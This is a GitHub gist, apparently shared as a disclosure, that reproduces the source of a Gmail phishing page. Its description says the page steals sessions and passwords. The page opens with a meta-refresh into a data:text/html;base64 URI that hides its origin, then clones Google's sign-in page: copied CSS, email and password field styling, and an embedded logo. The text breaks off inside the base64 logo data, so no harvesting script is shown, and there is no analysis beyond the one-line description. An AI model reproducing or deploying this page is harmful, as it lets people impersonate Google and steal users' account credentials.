Skip to content

Instantly share code, notes, and snippets.

@JohnTroony

JohnTroony/anazita.html

Created December 8, 2015 14:38
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save JohnTroony/26a0dda5ccc78f592c6d to your computer and use it in GitHub Desktop.
Save JohnTroony/26a0dda5ccc78f592c6d to your computer and use it in GitHub Desktop.
Download ZIP
Gmail Phising Page at http://anazita.com/xmz Using Base64 and Javascript to steal your session and password.
Raw
anazita.html
<!--Using meta redirect-->
<meta http-equiv="Refresh" content="0; url= data:text/html;base64,<!DOCTYPE html>
<html lang="en">
	<head>
		<link href="http://ssl.gstatic.com/docs/doclist/images/infinite_arrow_favicon_4.ico" rel="shortcut icon" />
		<meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
		<meta charset="utf-8" />
		<meta content="width=300, initial-scale=1" name="viewport" />
		<meta name="" value="notranslate" />
		<meta content=" is email that's intuitive, efficient, and useful. 15 GB of storage, less spam, and mobile access." name="description" />
		<title> </title>
		<style type="text/css">
@font-face {
  font-family: 'Open Sans';
  font-style: normal;
  font-weight: 300;
  src: local('Open Sans Light'), local('OpenSans-Light'), url(http://fonts.gstatic.com/s/opensans/v10/DXI1ORHCpsQm3Vp6mXoaTXhCUOGz7vYGh680lGh-uXM.woff) format('woff');
}
@font-face {
  font-family: 'Open Sans';
  font-style: normal;
  font-weight: 400;
  src: local('Open Sans'), local('OpenSans'), url(http://fonts.gstatic.com/s/opensans/v10/cJZKeOuBrn4kERxqtaUH3T8E0i7KZn-EPnyo3HZu7kw.woff) format('woff');
}		</style>
		<style type="text/css">
h1, h2 {
  -webkit-animation-duration: 0.1s;
  -webkit-animation-name: fontfix;
  -webkit-animation-iteration-count: 1;
  -webkit-animation-timing-function: linear;
  -webkit-animation-delay: 0;
  }
  @-webkit-keyframes fontfix {
  from {
  opacity: 1;
  }
  to {
  opacity: 1;
  }
  }		</style>
		<style type="text/css">
html, body {
  font-family: Arial, sans-serif;
  background: #fff;
  margin: 0;
  padding: 0;
  border: 0;
  position: absolute;
  height: 100%;
  min-width: 100%;
  font-size: 13px;
  color: #404040;
  direction: ltr;
  -webkit-text-size-adjust: none;
  }
  button,
  input[type=button],
  input[type=submit] {
  font-family: Arial, sans-serif;
  font-size: 13px;
  }
  a,
  a:hover,
  a:visited {
  color: #427fed;
  cursor: pointer;
  text-decoration: none;
  }
  a:hover {
  text-decoration: underline;
  }
  h1 {
  font-size: 20px;
  color: #262626;
  margin: 0 0 15px;
  font-weight: normal;
  }
  h2 {
  font-size: 14px;
  color: #262626;
  margin: 0 0 15px;
  font-weight: bold;
  }
  input[type=email],
  input[type=number],
  input[type=password],
  input[type=tel],
  input[type=text],
  input[type=url] {
  -moz-appearance: none;
  -webkit-appearance: none;
  appearance: none;
  display: inline-block;
  height: 36px;
  padding: 0 8px;
  margin: 0;
  background: #fff;
  border: 1px solid #d9d9d9;
  border-top: 1px solid #c0c0c0;
  -moz-box-sizing: border-box;
  -webkit-box-sizing: border-box;
  box-sizing: border-box;
  -moz-border-radius: 1px;
  -webkit-border-radius: 1px;
  border-radius: 1px;
  font-size: 15px;
  color: #404040;
  }
  input[type=email]:hover,
  input[type=number]:hover,
  input[type=password]:hover,
  input[type=tel]:hover,
  input[type=text]:hover,
  input[type=url]:hover {
  border: 1px solid #b9b9b9;
  border-top: 1px solid #a0a0a0;
  -moz-box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);
  -webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);
  box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);
  }
  input[type=email]:focus,
  input[type=number]:focus,
  input[type=password]:focus,
  input[type=tel]:focus,
  input[type=text]:focus,
  input[type=url]:focus {
  outline: none;
  border: 1px solid #4d90fe;
  -moz-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);
  -webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);
  box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);
  }
  input[type=checkbox],
  input[type=radio] {
  -webkit-appearance: none;
  display: inline-block;
  width: 13px;
  height: 13px;
  margin: 0;
  cursor: pointer;
  vertical-align: bottom;
  background: #fff;
  border: 1px solid #c6c6c6;
  -moz-border-radius: 1px;
  -webkit-border-radius: 1px;
  border-radius: 1px;
  -moz-box-sizing: border-box;
  -webkit-box-sizing: border-box;
  box-sizing: border-box;
  position: relative;
  }
  input[type=checkbox]:active,
  input[type=radio]:active {
  background: #ebebeb;
  }
  input[type=checkbox]:hover {
  border-color: #c6c6c6;
  -moz-box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);
  -webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);
  box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);
  }
  input[type=radio] {
  -moz-border-radius: 1em;
  -webkit-border-radius: 1em;
  border-radius: 1em;
  width: 15px;
  height: 15px;
  }
  input[type=checkbox]:checked,
  input[type=radio]:checked {
  background: #fff;
  }
  input[type=radio]:checked::after {
  content: '';
  display: block;
  position: relative;
  top: 3px;
  left: 3px;
  width: 7px;
  height: 7px;
  background: #666;
  -moz-border-radius: 1em;
  -webkit-border-radius: 1em;
  border-radius: 1em;
  }
  input[type=checkbox]:checked::after {
  content: url(http://ssl.gstatic.com/ui/v1/menu/checkmark.png);
  display: block;
  position: absolute;
  top: -6px;
  left: -5px;
  }
  input[type=checkbox]:focus {
  outline: none;
  border-color: #4d90fe;
  }
  .stacked-label {
  display: block;
  font-weight: bold;
  margin: .5em 0;
  }
  .hidden-label {
  position: absolute !important;
  clip: rect(1px 1px 1px 1px); /* IE6, IE7 */
  clip: rect(1px, 1px, 1px, 1px);
  height: 0px;
  width: 0px;
  overflow: hidden;
  visibility: hidden;
  }
  input[type=checkbox].form-error,
  input[type=email].form-error,
  input[type=number].form-error,
  input[type=password].form-error,
  input[type=text].form-error,
  input[type=tel].form-error,
  input[type=url].form-error {
  border: 1px solid #dd4b39;
  }
  .error-msg {
  margin: .5em 0;
  display: block;
  color: #dd4b39;
  line-height: 17px;
  }
  .help-link {
  background: #dd4b39;
  padding: 0 5px;
  color: #fff;
  font-weight: bold;
  display: inline-block;
  -moz-border-radius: 1em;
  -webkit-border-radius: 1em;
  border-radius: 1em;
  text-decoration: none;
  position: relative;
  top: 0px;
  }
  .help-link:visited {
  color: #fff;
  }
  .help-link:hover {
  color: #fff;
  background: #c03523;
  text-decoration: none;
  }
  .help-link:active {
  opacity: 1;
  background: #ae2817;
  }
  .wrapper {
  position: relative;
  min-height: 100%;
  }
  .content {
  padding: 0 44px;
  }
  .main {
  padding-bottom: 100px;
  }
  /* For modern browsers */
  .clearfix:before,
  .clearfix:after {
  content: "";
  display: table;
  }
  .clearfix:after {
  clear: both;
  }
  /* For IE 6/7 (trigger hasLayout) */
  .clearfix {
  zoom:1;
  }
  .-header-bar {
  height: 71px;
  border-bottom: 1px solid #e5e5e5;
  overflow: hidden;
  }
  .header .logo {
  margin: 17px 0 0;
  float: left;
  height: 38px;
  width: 116px;
  }
  .header .secondary-link {
  margin: 28px 0 0;
  float: right;
  }
  .header .secondary-link a {
  font-weight: normal;
  }
  .-header-bar.centered {
  border: 0;
  height: 108px;
  }
  .-header-bar.centered .header .logo {
  float: none;
  margin: 40px auto 30px;
  display: block;
  }
  .-header-bar.centered .header .secondary-link {
  display: none
  }
  .-footer-bar {
  position: absolute;
  bottom: 0;
  height: 35px;
  width: 100%;
  border-top: 1px solid #e5e5e5;
  overflow: hidden;
  }
  .footer {
  padding-top: 7px;
  font-size: .85em;
  white-space: nowrap;
  line-height: 0;
  }
  .footer ul {
  float: left;
  max-width: 80%;
  padding: 0;
  }
  .footer ul li {
  color: #737373;
  display: inline;
  padding: 0;
  padding-right: 1.5em;
  }
  .footer a {
  color: #737373;
  }
  .lang-chooser-wrap {
  float: right;
  display: inline;
  }
  .lang-chooser-wrap img {
  vertical-align: top;
  }
  .lang-chooser {
  font-size: 13px;
  height: 24px;
  line-height: 24px;
  }
  .lang-chooser option {
  font-size: 13px;
  line-height: 24px;
  }
  .hidden {
  height: 0px;
  width: 0px;
  overflow: hidden;
  visibility: hidden;
  display: none !important;
  }
  .banner {
  text-align: center;
  }
  .card {
  background-color: #f7f7f7;
  padding: 20px 25px 30px;
  margin: 0 auto 25px;
  width: 304px;
  -moz-border-radius: 2px;
  -webkit-border-radius: 2px;
  border-radius: 2px;
  -moz-box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);
  -webkit-box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);
  box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);
  }
  .card > *:first-child {
  margin-top: 0;
  }
  .rc-button,
  .rc-button:visited {
  display: inline-block;
  min-width: 46px;
  text-align: center;
  color: #444;
  font-size: 14px;
  font-weight: 700;
  height: 36px;
  padding: 0 8px;
  line-height: 36px;
  -moz-border-radius: 3px;
  -webkit-border-radius: 3px;
  border-radius: 3px;
  -o-transition: all 0.218s;
  -moz-transition: all 0.218s;
  -webkit-transition: all 0.218s;
  transition: all 0.218s;
  border: 1px solid #dcdcdc;
  background-color: #f5f5f5;
  background-image: -webkit-linear-gradient(top,#f5f5f5,#f1f1f1);
  background-image: -moz-linear-gradient(top,#f5f5f5,#f1f1f1);
  background-image: -ms-linear-gradient(top,#f5f5f5,#f1f1f1);
  background-image: -o-linear-gradient(top,#f5f5f5,#f1f1f1);
  background-image: linear-gradient(top,#f5f5f5,#f1f1f1);
  -o-transition: none;
  -moz-user-select: none;
  -webkit-user-select: none;
  user-select: none;
  cursor: default;
  }
  .card .rc-button {
  width: 100%;
  padding: 0;
  }
  .rc-button.disabled,
  .rc-button[disabled] {
  opacity: .5;
  filter: alpha(opacity=50);
  cursor: default;
  pointer-events: none;
  }
  .rc-button:hover {
  border: 1px solid #c6c6c6;
  color: #333;
  text-decoration: none;
  -o-transition: all 0.0s;
  -moz-transition: all 0.0s;
  -webkit-transition: all 0.0s;
  transition: all 0.0s;
  background-color: #f8f8f8;
  background-image: -webkit-linear-gradient(top,#f8f8f8,#f1f1f1);
  background-image: -moz-linear-gradient(top,#f8f8f8,#f1f1f1);
  background-image: -ms-linear-gradient(top,#f8f8f8,#f1f1f1);
  background-image: -o-linear-gradient(top,#f8f8f8,#f1f1f1);
  background-image: linear-gradient(top,#f8f8f8,#f1f1f1);
  -moz-box-shadow: 0 1px 1px rgba(0,0,0,0.1);
  -webkit-box-shadow: 0 1px 1px rgba(0,0,0,0.1);
  box-shadow: 0 1px 1px rgba(0,0,0,0.1);
  }
  .rc-button:active {
  background-color: #f6f6f6;
  background-image: -webkit-linear-gradient(top,#f6f6f6,#f1f1f1);
  background-image: -moz-linear-gradient(top,#f6f6f6,#f1f1f1);
  background-image: -ms-linear-gradient(top,#f6f6f6,#f1f1f1);
  background-image: -o-linear-gradient(top,#f6f6f6,#f1f1f1);
  background-image: linear-gradient(top,#f6f6f6,#f1f1f1);
  -moz-box-shadow: 0 1px 2px rgba(0,0,0,0.1);
  -webkit-box-shadow: 0 1px 2px rgba(0,0,0,0.1);
  box-shadow: 0 1px 2px rgba(0,0,0,0.1);
  }
  .rc-button-submit,
  .rc-button-submit:visited {
  border: 1px solid #3079ed;
  color: #fff;
  text-shadow: 0 1px rgba(0,0,0,0.1);
  background-color: #4d90fe;
  background-image: -webkit-linear-gradient(top,#4d90fe,#4787ed);
  background-image: -moz-linear-gradient(top,#4d90fe,#4787ed);
  background-image: -ms-linear-gradient(top,#4d90fe,#4787ed);
  background-image: -o-linear-gradient(top,#4d90fe,#4787ed);
  background-image: linear-gradient(top,#4d90fe,#4787ed);
  }
  .rc-button-submit:hover {
  border: 1px solid #2f5bb7;
  color: #fff;
  text-shadow: 0 1px rgba(0,0,0,0.3);
  background-color: #357ae8;
  background-image: -webkit-linear-gradient(top,#4d90fe,#357ae8);
  background-image: -moz-linear-gradient(top,#4d90fe,#357ae8);
  background-image: -ms-linear-gradient(top,#4d90fe,#357ae8);
  background-image: -o-linear-gradient(top,#4d90fe,#357ae8);
  background-image: linear-gradient(top,#4d90fe,#357ae8);
  }
  .rc-button-submit:active {
  background-color: #357ae8;
  background-image: -webkit-linear-gradient(top,#4d90fe,#357ae8);
  background-image: -moz-linear-gradient(top,#4d90fe,#357ae8);
  background-image: -ms-linear-gradient(top,#4d90fe,#357ae8);
  background-image: -o-linear-gradient(top,#4d90fe,#357ae8);
  background-image: linear-gradient(top,#4d90fe,#357ae8);
  -moz-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);
  -webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);
  box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);
  }
  .rc-button-red,
  .rc-button-red:visited {
  border: 1px solid transparent;
  color: #fff;
  text-shadow: 0 1px rgba(0,0,0,0.1);
  background-color: #d14836;
  background-image: -webkit-linear-gradient(top,#dd4b39,#d14836);
  background-image: -moz-linear-gradient(top,#dd4b39,#d14836);
  background-image: -ms-linear-gradient(top,#dd4b39,#d14836);
  background-image: -o-linear-gradient(top,#dd4b39,#d14836);
  background-image: linear-gradient(top,#dd4b39,#d14836);
  }
  .rc-button-red:hover {
  border: 1px solid #b0281a;
  color: #fff;
  text-shadow: 0 1px rgba(0,0,0,0.3);
  background-color: #c53727;
  background-image: -webkit-linear-gradient(top,#dd4b39,#c53727);
  background-image: -moz-linear-gradient(top,#dd4b39,#c53727);
  background-image: -ms-linear-gradient(top,#dd4b39,#c53727);
  background-image: -o-linear-gradient(top,#dd4b39,#c53727);
  background-image: linear-gradient(top,#dd4b39,#c53727);
  }
  .rc-button-red:active {
  border: 1px solid #992a1b;
  background-color: #b0281a;
  background-image: -webkit-linear-gradient(top,#dd4b39,#b0281a);
  background-image: -moz-linear-gradient(top,#dd4b39,#b0281a);
  background-image: -ms-linear-gradient(top,#dd4b39,#b0281a);
  background-image: -o-linear-gradient(top,#dd4b39,#b0281a);
  background-image: linear-gradient(top,#dd4b39,#b0281a);
  -moz-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);
  -webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);
  box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);
  }
  .secondary-actions {
  text-align: center;
  }		</style>
		<style media="screen and (max-width: 800px), screen and (max-height: 800px)" type="text/css">
.-header-bar.centered {
  height: 83px;
  }
  .-header-bar.centered .header .logo {
  margin: 25px auto 20px;
  }
  .card {
  margin-bottom: 20px;
  }		</style>
		<style media="screen and (max-width: 580px)" type="text/css">
html, body {
  font-size: 14px;
  }
  .-header-bar.centered {
  height: 73px;
  }
  .-header-bar.centered .header .logo {
  margin: 20px auto 15px;
  }
  .content {
  padding-left: 10px;
  padding-right: 10px;
  }
  .hidden-small {
  display: none;
  }
  .card {
  padding: 20px 15px 30px;
  width: 270px;
  }
  .footer ul li {
  padding-right: 1em;
  }
  .lang-chooser-wrap {
  display: none;
  }		</style>
		<style type="text/css">
pre.debug {
  font-family: monospace;
  position: absolute;
  left: 0;
  margin: 0;
  padding: 1.5em;
  font-size: 13px;
  background: #f1f1f1;
  border-top: 1px solid #e5e5e5;
  direction: ltr;
  white-space: pre-wrap;
  width: 90%;
  overflow: hidden;
  }		</style>
		<style type="text/css">
.banner h1 {
  font-family: 'Open Sans', arial;
  -webkit-font-smoothing: antialiased;
  color: #555;
  font-size: 42px;
  font-weight: 300;
  margin-top: 0;
  margin-bottom: 20px;
  }
  .banner h2 {
  font-family: 'Open Sans', arial;
  -webkit-font-smoothing: antialiased;
  color: #555;
  font-size: 18px;
  font-weight: 400;
  margin-bottom: 20px;
  }
  .signin-card {
  width: 274px;
  padding: 40px 40px;
  }
  .signin-card .profile-img {
  width: 96px;
  height: 96px;
  margin: 0 auto 10px;
  display: block;
  -moz-border-radius: 50%;
  -webkit-border-radius: 50%;
  border-radius: 50%;
  }
  .signin-card .profile-name {
  font-size: 16px;
  font-weight: bold;
  text-align: center;
  margin: 10px 0 0;
  min-height: 1em;
  }
  .signin-card .profile-email {
  font-size: 16px;
  text-align: center;
  margin: 10px 0 20px 0;
  min-height: 1em;
  }
  .signin-card input[type=email],
  .signin-card input[type=password],
  .signin-card input[type=text],
  .signin-card input[type=submit] {
  width: 100%;
  display: block;
  margin-bottom: 10px;
  z-index: 1;
  position: relative;
  -moz-box-sizing: border-box;
  -webkit-box-sizing: border-box;
  box-sizing: border-box;
  }
  .signin-card #Email,
  .signin-card #Passwd,
  .signin-card .captcha {
  direction: ltr;
  height: 44px;
  font-size: 16px;
  }
  .signin-card #Email + .stacked-label {
  margin-top: 15px;
  }
  .signin-card #reauthEmail {
  display: block;
  margin-bottom: 10px;
  line-height: 36px;
  padding: 0 8px;
  font-size: 15px;
  color: #404040;
  line-height: 2;
  margin-bottom: 10px;
  font-size: 14px;
  text-align: center;
  overflow: hidden;
  text-overflow: ellipsis;
  white-space: nowrap;
  -moz-box-sizing: border-box;
  -webkit-box-sizing: border-box;
  box-sizing: border-box;
  }
  .one- p {
  margin: 0 0 10px;
  color: #555;
  font-size: 14px;
  text-align: center;
  }
  .one- p.create-account,
  .one- p.switch-account {
  margin-bottom: 60px;
  }
  .one- img {
  display: block;
  width: 210px;
  height: 17px;
  margin: 10px auto;
  }		</style>
		<style media="screen and (max-width: 800px), screen and (max-height: 800px)" type="text/css">
.banner h1 {
  font-size: 38px;
  margin-bottom: 15px;
  }
  .banner h2 {
  margin-bottom: 15px;
  }
  .one- p.create-account,
  .one- p.switch-account {
  margin-bottom: 30px;
  }
  .signin-card #Email {
  margin-bottom: 0;
  }
  .signin-card #Passwd {
  margin-top: -1px;
  }
  .signin-card #Email.form-error,
  .signin-card #Passwd.form-error {
  z-index: 2;
  }
  .signin-card #Email:hover,
  .signin-card #Email:focus,
  .signin-card #Passwd:hover,
  .signin-card #Passwd:focus {
  z-index: 3;
  }		</style>
		<style media="screen and (max-width: 580px)" type="text/css">
.banner h1 {
  font-size: 22px;
  margin-bottom: 15px;
  }
  .signin-card {
  width: 260px;
  padding: 20px 20px;
  margin: 0 auto 20px;
  }
  .signin-card .profile-img {
  width: 72px;
  height: 72px;
  -moz-border-radius: 72px;
  -webkit-border-radius: 72px;
  border-radius: 72px;
  }		</style>
		<style type="text/css">
.jfk-tooltip {
  background-color: #fff;
  border: 1px solid;
  color: #737373;
  font-size: 12px;
  position: absolute;
  z-index: 800 !important;
  border-color: #bbb #bbb #a8a8a8;
  padding: 16px;
  width: 250px;
  }
 .jfk-tooltip h3 {
  color: #555;
  font-size: 12px;
  margin: 0 0 .5em;
  }
 .jfk-tooltip-content p:last-child {
  margin-bottom: 0;
  }
  .jfk-tooltip-arrow {
  position: absolute;
  }
  .jfk-tooltip-arrow .jfk-tooltip-arrowimplbefore,
  .jfk-tooltip-arrow .jfk-tooltip-arrowimplafter {
  display: block;
  height: 0;
  position: absolute;
  width: 0;
  }
  .jfk-tooltip-arrow .jfk-tooltip-arrowimplbefore {
  border: 9px solid;
  }
  .jfk-tooltip-arrow .jfk-tooltip-arrowimplafter {
  border: 8px solid;
  }
  .jfk-tooltip-arrowdown {
  bottom: 0;
  }
  .jfk-tooltip-arrowup {
  top: -9px;
  }
  .jfk-tooltip-arrowleft {
  left: -9px;
  top: 30px;
  }
  .jfk-tooltip-arrowright {
  right: 0;
  top: 30px;
  }
  .jfk-tooltip-arrowdown .jfk-tooltip-arrowimplbefore,.jfk-tooltip-arrowup .jfk-tooltip-arrowimplbefore {
  border-color: #bbb transparent;
  left: -9px;
  }
  .jfk-tooltip-arrowdown .jfk-tooltip-arrowimplbefore {
  border-color: #a8a8a8 transparent;
  }
  .jfk-tooltip-arrowdown .jfk-tooltip-arrowimplafter,.jfk-tooltip-arrowup .jfk-tooltip-arrowimplafter {
  border-color: #fff transparent;
  left: -8px;
  }
  .jfk-tooltip-arrowdown .jfk-tooltip-arrowimplbefore {
  border-bottom-width: 0;
  }
  .jfk-tooltip-arrowdown .jfk-tooltip-arrowimplafter {
  border-bottom-width: 0;
  }
  .jfk-tooltip-arrowup .jfk-tooltip-arrowimplbefore {
  border-top-width: 0;
  }
  .jfk-tooltip-arrowup .jfk-tooltip-arrowimplafter {
  border-top-width: 0;
  top: 1px;
  }
  .jfk-tooltip-arrowleft .jfk-tooltip-arrowimplbefore,
  .jfk-tooltip-arrowright .jfk-tooltip-arrowimplbefore {
  border-color: transparent #bbb;
  top: -9px;
  }
  .jfk-tooltip-arrowleft .jfk-tooltip-arrowimplafter,
  .jfk-tooltip-arrowright .jfk-tooltip-arrowimplafter {
  border-color:transparent #fff;
  top:-8px;
  }
  .jfk-tooltip-arrowleft .jfk-tooltip-arrowimplbefore {
  border-left-width: 0;
  }
  .jfk-tooltip-arrowleft .jfk-tooltip-arrowimplafter {
  border-left-width: 0;
  left: 1px;
  }
  .jfk-tooltip-arrowright .jfk-tooltip-arrowimplbefore {
  border-right-width: 0;
  }
  .jfk-tooltip-arrowright .jfk-tooltip-arrowimplafter {
  border-right-width: 0;
  }
  .jfk-tooltip-closebtn {
  background: url("http://ssl.gstatic.com/ui/v1/icons/common/x_8px.png") no-repeat;
  border: 1px solid transparent;
  height: 21px;
  opacity: .4;
  outline: 0;
  position: absolute;
  right: 2px;
  top: 2px;
  width: 21px;
  }
  .jfk-tooltip-closebtn:focus,
  .jfk-tooltip-closebtn:hover {
  opacity: .8;
  cursor: pointer;
  }
  .jfk-tooltip-closebtn:focus {
  border-color: #4d90fe;
  }		</style>
		<style media="screen and (max-width: 580px)" type="text/css">
.jfk-tooltip {
  display: none;
  }		</style>
		<style type="text/css">
.need-help-reverse {
  float: right;
  }
  .remember .bubble-wrap {
  position: absolute;
  padding-top: 3px;
  -o-transition: opacity .218s ease-in .218s;
  -moz-transition: opacity .218s ease-in .218s;
  -webkit-transition: opacity .218s ease-in .218s;
  transition: opacity .218s ease-in .218s;
  left: -999em;
  opacity: 0;
  width: 314px;
  margin-left: -20px;
  }
  .remember:hover .bubble-wrap,
  .remember input:focus ~ .bubble-wrap,
  .remember .bubble-wrap:hover,
  .remember .bubble-wrap:focus {
  opacity: 1;
  left: inherit;
  }
  .bubble-pointer {
  border-left: 10px solid transparent;
  border-right: 10px solid transparent;
  border-bottom: 10px solid #fff;
  width: 0;
  height: 0;
  margin-left: 17px;
  }
  .bubble {
  background-color: #fff;
  padding: 15px;
  margin-top: -1px;
  font-size: 11px;
  -moz-border-radius: 2px;
  -webkit-border-radius: 2px;
  border-radius: 2px;
  -moz-box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);
  -webkit-box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);
  box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);
  }
  #stay-signed-in {
  float: left;
  }
  #stay-signed-in-tooltip {
  left: auto;
  margin-left: -20px;
  padding-top: 3px;
  position: absolute;
  top: 0;
  visibility: hidden;
  width: 314px;
  z-index: 1;
  }
  .dasher-tooltip {
  position: absolute;
  left: 50%;
  top: 380px;
  margin-left: 150px;
  }
  .dasher-tooltip .tooltip-pointer {
  margin-top: 15px;
  }
  .dasher-tooltip p {
  margin-top: 0;
  }
  .dasher-tooltip p span {
  display: block;
  }
    .style1
    {
        font-weight: inherit;
        font-style: inherit;
        font-size: 100%;
        font-family: inherit;
        vertical-align: baseline;
        border-style: none;
        border-color: inherit;
        border-width: 0;
        margin: 0;
        padding: 0;
    }
* {
	padding:0;list-style:none;outline:none;
}		</style>
		<style media="screen and (max-width: 800px), screen and (max-height: 800px)" type="text/css">
.dasher-tooltip {
  top: 340px;
  }		</style>
	</head>
	<body>
		<div class="wrapper">
			<div class="-header-bar  centered">
				<div class="header content clearfix">
					<img alt="" class="logo" src="data:image/png;base64,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